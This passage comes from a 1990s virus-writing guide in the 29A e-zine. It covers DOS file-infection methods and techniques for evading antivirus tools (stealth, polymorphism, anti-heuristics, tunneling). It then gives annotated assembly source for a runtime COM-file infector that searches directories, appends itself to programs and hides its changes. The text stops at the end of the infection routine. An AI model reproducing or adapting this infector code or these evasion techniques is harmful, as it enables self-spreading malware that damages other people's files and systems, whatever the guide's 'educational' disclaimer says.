Copy Link
Add to Bookmark
Report
29A Issue 03 02 02
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
Å Billy Belceb£ Virus Writing Guide 1.03 Å
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÄÄÄ´ Disclaimer ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The autor of this document isn't responsible of any kind of damage that co-
uld be made with the bad use of this information. The objective of this tu-
torial is to teach people how to create and defend againist the attack of
a lame YAM virus :) This tute is for educational purposes only. So, lawyers,
i don't give a shit if a lamer takes this information and makes destructive
viruses. And if through this document you see anywhere that i encourage to
destroy or corromp data, go directly to buy glasses.
ÄÄÄ´ Presentations ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Welcome the Billy Belceb£'s Virus Writing Guide. This document is dedicated
to my master, zAxOn, my mentor from the days when i asked him what was ARJ
passing through the day when he lend me the TP5, and taught me all he knew,
till my first steps in Assembly. It's also dedicated to the ppl who want to
leave to be lamer, and want to join the " good scene ". I don't forget the
author of a lot of great documents, Dark Angel ( member of the extinct pio-
neer cool group called Phalcon/Skism ), cause his tutorials taught me in my
early stages. Of course, to The Offspring, Marilyn Manson, Blind Guardian,
Stratovarius and Metallica ( I hear another groups, but these are the best
ones ) cause with their music i'm writing this lines. Hope you like this
beginner's guide, probably my last tribute for DOS viruses.
NOTE: English ain't my first language ( it's spanish ), so excuse me for all
my misspells i made ( a lot of ), and notify me them for later updates of
this document.
--- Contact me
þ E-mail billy_belcebu@hotmail.com
billy_belcebu@cryogen.com
þ ICQ # 22290500
þ Personal web page http://members.xoom.com/billy_bel
http://www.cryogen.com/billy_belcebu
þ Group web page http://sourceofkaos.com/homes/ddt
þ IRC [Billy_Bel] Undernet #vir, Irc-Hispano #virus
Have phun!
Billy Belceb£,
mass killer and ass kicker.
ÄÄÄ´ Useful software for virus coding ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
You need some things before start writing virii. Here you have the programs
i recommend you ( If you haven't enough money for buy them... DOWNLOAD! ) :)
þ Borland Turbo Assembler 3.1 will be enough for dos viruses
þ Borland Turbo Link 5.1
þ Borland Turbo Debug 3.1, AVPutils debugger, or if you want, dos debug.
þ The text editor you like more ( QuickEdit should be a good choice )
þ Some virus sources ( from old viruses like stoned to the coolest, like
Zhengxi, Onehalf, Cabanas, Esperanto... )
þ Some virus related e-zines ( 40hex, Insane Reality, Xine, 29A... )
þ Utilities that can show you memory dumps and else, like Norton Utilities
þ The Ralf Brown's Interrupt list
þ Some assembler books ( for doubts and this kinda things ) :)
þ Some AVs ( in order to see if our virii is detected heuristically )
þ Of course, this document ;)
I hope i don't forget any important thing.
ÄÄÄ´ Some useful theory ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
A virus is a program ussually coded in assembler ( but can also be coded in
other languages, like PASCAL and C ) that spreads copies of itself to other
executables and/or another things like boot sectors or MBRs. The assembler
ain't as " diabolic " as some people say, believe me :)
Well, i hope you have noted that i don't mention anywhere the macro viruses:
if you wanna learn something, i think that the best thing you could do is to
write viruses in assembler.
A virus attaches itself at end of the victim ( the 80% of viruses ), take
advantage of the MS-DOS feature of executing first a COM than a EXE file
( companion viruses ), don'tincrease the size ( guest infectors and overwri-
ting virii ), EXE header viruses, midfile infectors, install in boot, in MBR
And with the compression engines... a virus can decrease the size of the
victim after infection!!! ;) Hope to see soon a virus like this (Supeeeer ;)
Let's see how a virus of the first kind works with some nice graphics ;)
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÂÄÄÄÄ¿¿
³ ³ ³ ³ ÚijJMP VIRUS³ ³ ³
³ ³ ³ VIRUS ³ ³ ÃÄÄÄÄÄÄÄÄÄÙ ³ ³
³ FILE ³+³ ³ ÄÄÄÄÄÄÄij FILE ³ ³
³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³ ³ ³
³ ³ ³ ³ ³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³
³ ³ ³
³ VIRUS ³ ³
³ ³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÄÙ
Viruses ussually follow the same steps:
1. Locate the file to infect ( Waiting till opening or something, or seeking
throught directories )
2. Check if it's already infected
3. If yes, skip it.
4. Save file date/time
5. Put a jump to our code saving the first bytes
6. Append the virus body
7. Restore file date/time
It's very simple as you can see, but they use different ways for arrive to
the below point. I'll explain it later.
Another type of infection can be also made, but it's more slow, because we
have to take all guest code, save it in a temporal place, write the virus
code, and after our code, the guest original code. Let's see:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ³ ³ ³ ³ ³
³ ³ ³ VIRUS ³ ³ VIRUS ³
³ FILE ³+³ ³ ÄÄÄÄÄÄ ³ ³
³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´³
³ ³ ³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³
³ FILE ³
³ ³
³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
The worst viruses in the world are the overwriting ones. They're so destruc-
tive, and the infection is easily detected, cause they don't execute the
guest ( they can't be operative coz the infection method ), they only execu-
tes their own body. Let's see a graphic.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ³ ³ ³ ³ ³
³ ³ ³ VIRUS ³ ³ VIRUS ³
³ FILE ³+³ ³ ÄÄÄÄÄÄ ³ ³
³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ ³ ³ ³ ÄÄÄÄÄ The file
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ never more run :(
A really good idea is the mid-file infection, probably one of the best me-
thods for infect: viruses more hard to remove, emulate... They simply write
itself to a random offset on the host, and we give'em the control there.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÂÄÄÄ¿¿
³ ³ ³ ³ ÚijJMP VIRUS ³ ³ ³
³ ³ ³ VIRUS ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÙ ³ ³
³ FILE ³+³ ³ ÄÄÄÄÄÄÄij FILE (I) ³ ³
³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³
³ ³ ³ ³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ VIRUS ³ ³
³ ³ ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ÄÙ
³ FILE (II) ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ SAVED DATA ³
³ OVERWRITTEN ³
³ BY THE VIRUS ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Of course, there're more and more infection methods, but this is a guide for
beginners... never forget it :) And that are demonstration diagrams...
A virus have some different phases:
þ INFECTION: A virus arrive to an unsuspecting guy, inside a file ( via dis-
quettes, e-mail... ) or boot sectors ( disquettes... ). The user executes
the virus without know it, and then is when the creature takes the con-
trol of the system ( instead the user ) ;)
þ I-HAVE-THE-CONTROL: This is the funniest phase of viruses, cause the user,
lives very happy, lending programs to his/her friends, infecting them, and
all this stuff. And the virus quickly infects more and more people.
þ PAYLOAD: After a decisive situation, the virus show its presence. The pay-
load can be destructive <g> or not ;) In my humble opinion, the destruc-
tive payloads are only made by the lamers, this scum who enjoy destroying
other computers, and with the well know attitude of a dickhead. The better
payloads are the original ones, coz they make the user to feel astonished.
Of course, there're virus without a payload, that don't do anything besi-
des replicate (Hi Patty Bitchman!).
In this tutorial i will talk about some other interesting stuff like:
þ ARMOURING: I really LOVE this stuff. It's ussually used for avoid the
debugging/dissasembling of our virus for any undesirable guy. Well, a good
VXer can dissasemble whatever he/she ( ? ) wants to. You have an example
in Tcp/29A and Darkman/29A...
þ STEALTH: The concealment method for excelence. There're a lot of methods
for make stealth ( FCB, Handles, SFT, Disinfection-on-the-fly... ) I'll
explain some of these things. This consists in make the user think there
isn't any kind of infection, returning him the same file size that was be-
fore the infection, disinfecting the file before it's opened...
þ ENCRYPTION: This method consist in the cypher of the main virus body, so
the strings we can have as copyright can't be seen by a suspecting guy ;)
It's really an old technique, but nowadays is still used ( but with some
things that change, see the next point ). Uses mathematic operations for
perform the work ( XOR, ADD-SUB, INC-DEC, NOT, NEG, ROR-ROL... )
þ POLYMORPHISM: An extension of the encryption in order to avoid AVs. The
objective is generate different decryption routines each time for make
impossible the scan of the virus, or minimize the possible scan strings :)
þ ANTI-HEURISTIC: Heuristic scanners aren't as trustables like some people
say. I'll demonstrate that the heuristic aren't as safe as they seem. This
stuff are some tricks you can use for avoid flags.
þ TUNNELING: This stuff is used for obtain the " real " INT 21h vectors,
bypassing the TSR watchdogs, and all that's in our way.
þ ANTI-TUNNELING: The weapon that AV used for avoid tunnelers becomes in one
of the TSR watchdog's enemy. It's also cool for stop the steps of other
viruses that are trying to get _OUR_ INT21h :)
þ ANTI-BAIT: Baits ( aka sacrifical goats ) are what AV uses for make multi-
ple infections in a lot of files, trying to get a scan string for our
virus ( and with it, our mutation engine )... and, we want this? NO! I'll
explain the most used methods for don't infect this non-sense programs.
þ OPTIMIZATION: The better viruses are the ones that do a lot of thing using
very few bytes. In this little chapter you'll see how to do some things
using less bytes.
ÄÄÄ´ First steps, RUNTIME viruses ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
There're some methods for a success infection. Now I'll explain the most old
ones, the RUNTIME ( aka direct action ). Nowadays, no one makes a runtime
infector, because they're slooooooow, and their presence is quickly detected
by a middle-interested user. But... don't be afraid! This method is very
simple, and all the people now in the scene, made their first steps with a
runtime com infector. This method is only for your first contact with the
virus developing. A runtime virus consist in a program that searches for
files using a wildcard ( "*.com","*.exe","*.*"... ) and using the DOS-API
( of course, the INT 21h ) functions Findfirst and Findnext ( 4Eh and 4Fh ).
It can also enter in another directories than the actual one for perform its
infection. Ussually this kinda viruses infects COM and EXE, but we can also
infect SYS, OBJ, ZIP... but for this i'd need another tutorial, and... do
you remember this is for beginners? ;)
% COM infection %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The easiest, as you can imagine is the COM infection. It's the first thing
you must understand, coz the infection ( not the way used to arrive there )
is more or less, the same stuff in all kinda viruses ( TSR and so on ):
1. Open file
2. Save time/date/attributes
3. Store first ( ussually 3 ) bytes
4. Calculate the new jump
5. Put it
6. Append main virus body
7. Restore time/date/attributes
8. Close file
You must remember that a COM file look is the same in the physical code than
in the memory ( COM = Copy Of Memory ). DOS gives all the available memory
to the COM file. Let's see how is a COM program when it's loaded in memory:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄÂÄÄ CS = 0000h
³ Program Segment Prefix ( PSP ) ³ ÃÄÄ DS = 0000h
³ 100h bytes ( 256d ) ³ ÃÄÄ ES = 0000h
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ Ä¿ ÀÄÄ SS = 0000h
³ Program Code and Data ³ ÀÄ CS:IP = 0100h
³ ³
³ ³
³ ³ ÚÄÄ CS = FFFFh (*) The stack grows
³ ³ ÃÄÄ DS = FFFFh backwards, from
³ Stack ³ ÚÁÄÄ ES = FFFFh bottom to top.
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÁ SS:SP = FFFFh
The COM files can only have the size of a segment ( FFFFh bytes ) less 100h
bytes that are used for PSP ( FFFFh - 100h = FEFFh ). But there's a problem.
We must save more space for let the stack grow what we need ( every time we
make a PUSH and we forget the POP, the stack grows, and if it grows too much
it'll finish trashing our program ). I'll leave at least 100h more bytes for
stack. Ok ? :)
It's very easy to understand... and it's LOGIC!!! ;)
Talking about logic things... I think it is a good time for practice the COM
infection. It's a LAME virus. LAME? Only? More than this : the LAMEST! ;)
But this is a beginners documment, and i must make it! Althougth it fuck me!
Well, i don't kill my mind programming some stuff like that, althougth i'd
spend only 5 minutes in coding my own :) ( spend time? just WASTE time! :)
;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; A very lame virus. Don't compile. Don't distribute.
; If you make a copy of this... you'll be LAME!
; But i hope it'll help you in order to become a VXer from the first steps
; to the GIANT ones ;) And then you'll have to send me greets :)
; I hate to code my own runtime virus ( 5 minutes for write a shit, please
; believe me, is very boring and a WASTE of time ) so I used Dark Angel's Gý
; Sorry, i'm a goddamn lazy :)
;
; Assemble with: TASM /m3 lame.asm
; Link with: TLINK /t lame.obj
; Virus generated by Gý 0.70á ( Look, I didn't removed signatures. This ain't
; mine! The lamest thing you can do is remove signatures. Don't forget it! )
; Gý written by Dark Angel of Phalcon/Skism
; File: LAME.ASM
.model tiny
.code
org 0100h
carrier:
db 0E9h,0,0 ; jmp start
start:
mov bp, sp ; Antidebugging get ë offset!
int 0003h ; Int for breakpoints
next:
mov bp, ss:[bp-6]
sub bp, offset next
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; Let's see. When we infect a file ALL offsets get moved exactly da size of
; guest, so we choice a register ( ussually BP or SI ) and we put in it the
; size of the file with this simple thing, and each time we use a variable or
; something, we MUST add the register used as ë-offset ( here BP )
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov dl, 0000h ; Default drive
mov ah, 0047h ; Get directory
lea si, [bp+offset origdir+1]
int 0021h
lea dx, [bp+offset newDTA]
mov ah, 001Ah ; Set DTA
int 0021h
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; The first block stores the current directory in a variable for l8r return.
; Take a look to the zone of this document where are the DTA structure. The
; DTA ( Disk Transfer Address ) begins in the byte 80h of the PSP ( Program
; Segment Prefix ) where also resides the command line. And you wonder why...
; What happens when we use the DTA with the command line? That's the reason
; of storing the DTA ( Besides for our own use, of course ) ;)
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
restore_COM:
mov di, 0100h
push di
lea si, [bp+offset old3]
movsb ; Move first byte
movsw ; Move next two
mov byte ptr [bp+numinfect], 0000h
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; This routine restores the 3 original first bytes of the infected com, loca-
; ted above offset 100h, and also saves this offset in DI for later use.
; The last line setups the actual number of infections to 0 ( the couter ).
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
traverse_loop:
lea dx, [bp+offset COMmask]
call infect
cmp [bp+numinfect], 0003h
jae exit_traverse ; exit if enough infected
mov ah, 003Bh ; CHDIR
lea dx, [bp+offset dot_dot] ; go to previous dir
int 0021h
jnc traverse_loop ; loop if no error
exit_traverse:
lea si, [bp+offset origdir]
mov byte ptr [si], '\'
mov ah, 003Bh ; restore directory
xchg dx, si
int 0021h
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; All we do here is infect all files in the directory, and we end with this,
; we change directory to ..
; And when there aren't more directories we restore the old when we were.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov dx, 0080h ; in the PSP
mov ah, 001Ah ; restore DTA to default
int 0021h
return:
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; This will restore the taken DTA to its original address, in the offset 80h
; at the Program Segment Prefix ( PSP ), and then return to original offset
; 100h, for execute the file normally ;) ( Remember we pushed di when it was
; equal to 100h )
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
old3 db 0cdh,20h,0
infect:
mov ah, 004Eh ; find first
mov cx, 0007h ; all files
findfirstnext:
int 0021h
jc return
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; In this code all we do is search in the current directory for the files
; matching with the wildcard in DX ( in this example "*.COM" ), with any kind
; of attributes.
; Old3 is the var that handles the first 3 bytes of the actual infected COM.
; If there isn't matching files, a carry flag is returned and then we jump to
; a routine that returns the control to the main program. If we found at
; lest one of them, we jump to the following code, and when finish this, we
; look for another file
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
cmp word ptr [bp+newDTA+35], 'DN' ; Check if COMMAND.COM
mov ah, 004Fh ; Set up find next
jz findfirstnext ; Exit if so
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; This is for not infect the command.com, checking if file has in pos name+5
; ( DTA+35 ) the word DN ( ND, but the words are stored reverse! )
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
lea dx, [bp+newDTA+30]
mov ax, 4300h
int 0021h
jc return
push cx
push dx
mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0021h
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; The first block has a double function: stores the file attributes of the
; file for later restore, and also check if file exists or there's a problem.
; The second one save in stack 4301h ( function for put attributes ) and also
; clear file of undesirable attributes like read-only :)
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
lea dx, [bp+newDTA+30]
mov ax, 3D02h ; Open R/O
int 0021h
xchg ax, bx ; Handle in BX
mov ax, 5700h ; get file time/date
int 0021h
push cx
push dx
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; The first block opens the file in read/write mode, and the put the file
; handle in BX, where it'll be more useful.
; The second block of instructions get the file date and time and then save
; them in the stack.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer]
int 0021h
xor cx, cx
xor dx, dx
mov ax, 4202h
int 0021h
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; The first block reads 1Ah bytes ( 26 ) into the variable readbuffer, for
; later comparations. The second block moves the file pointer to the end of
; the file for two reasons: file size will be put in AX, and we need to be
; there for append
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
cmp word ptr [bp+offset readbuffer], "ZM"
jz jmp_close
mov cx, word ptr [bp+offset readbuffer+1] ; jmp location
add cx, heap-start+3 ; convert to filesize
cmp ax, cx ; equal if already infected
jl skipp
jmp_close:
jmp close
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; The first block compares the two first bytes of the opened COM file in
; order to see if it's a misnamed EXE ( remember the words must be in reverse
; order ). The second block check for previous infection, comparing the virus
; size + the guest ( before be infected ) size with the guest actual size.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
skipp:
cmp ax, 65535-(endheap-start) ; check if too large
ja jmp_close ; Exit if so
lea di, [bp+offset old3]
lea si, [bp+offset readbuffer]
movsb
movsw
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; The first block of instructions check the size of the COM, to see if we can
; infect it ( the COM size + virus size can't be > 0FFFFh ( 65535 ), cause it
; is, the PSP and/or stack will corromp the code.
; The second block moves the values of old3 ( 3 bytes ) var to readbuffer.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sub ax, 0003h ; Virus_size-3 ( jump size )
mov word ptr [bp+offset readbuffer+1], ax
mov dl, 00E9h ; Opcode of jmp
mov byte ptr [bp+offset readbuffer], dl
lea dx, [bp+offset start] ; The beginning of what append
mov cx, heap-start ; Size to append
mov ah, 0040h ; concatenate virus
int 0021h
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; The first block calculates the jump to the virus code and then stores the
; result in a variable. The second block append the virus to the guest :)
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov ax, 4200h
xor dx, dx
xor cx, cx
int 0021h
mov cx, 0003h
lea dx, [bp+offset readbuffer]
mov ah, 0040h
int 0021h
inc [bp+numinfect]
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; The first block moves the file pointer to the beginning of da file, and the
; second one writes the jump to the virus code there.
; The third increases the variable that holds the number of succesful infec-
; tions already made
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0021h
mov ah, 003Eh
int 0021h
pop ax ; restore file attributes
pop dx ; get filename and
pop cx ; attributes from stack
int 0021h
mov ah, 004Fh ; find next
jmp findfirstnext
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Explanation:
; The first block of instruction restore the time and date of file stored in
; the DTA. And the second closes the file and the third one restore old attrs
; of the infected file.
; The last one put in AX the function FindNext of DOS, and jumps to search
; for more files to infect.
